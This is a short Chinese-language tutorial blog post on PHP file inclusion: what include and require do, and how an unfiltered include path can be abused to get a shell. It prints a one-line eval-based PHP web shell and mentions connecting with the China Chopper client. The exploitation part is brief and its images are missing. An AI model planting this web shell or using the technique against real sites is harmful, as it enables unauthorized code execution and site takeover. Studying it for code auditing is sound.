@1kbfree
        
        2018-04-10T06:00:37.000000Z
        字数 716
        阅读 1595
    代码审计
FIRST
首先我们需要知道什么是文件包含,比如PHP中的include(),include_once(),require(),require_once()函数,都是文件包含的函数,我们通常根据这几个函数,来回溯变量,检查变量是否过滤完全。若没有进行过滤,就可能存在安全隐患。
为什么要用文件包含函数?
如果毫无代码基础,不建议看~
比如这里有3个PHP代码: 
1. a.php 
2. ab.php 
3. b.php 
比如ab.php代码实现的功能,a.php和b.php都要公用到。那么现在我们只需要用文件包含函数,在a.php和b.php里写include('ab.php')即可。如果不明白的话再看下图:



http://127.0.0.1/myphp/test/a.php: 
 
http://127.0.0.1/myphp/test/b.php: 

那么这个就体现了文件包含函数的作用了,我们把a.php和b.php要实现的功能都写在了ab.php里,节省了代码量,提高了代码执行效率与可读性,可正是因为这种方便的功能,如果没过滤好包含的文件,那么就可能会导致代码执行漏洞的产生,比如有些网站讲包含函数传递的是get或post请求过来的值,这时候我们只需要修改文件路径就可以导致网站被我们getshell。
利用文件包含漏洞getshell
 
我们在$_GET['file']里传递一个文件,里面代码为<?php@eval($_POST['iamfree'])?> 
+ 
然后使用菜刀连接: 

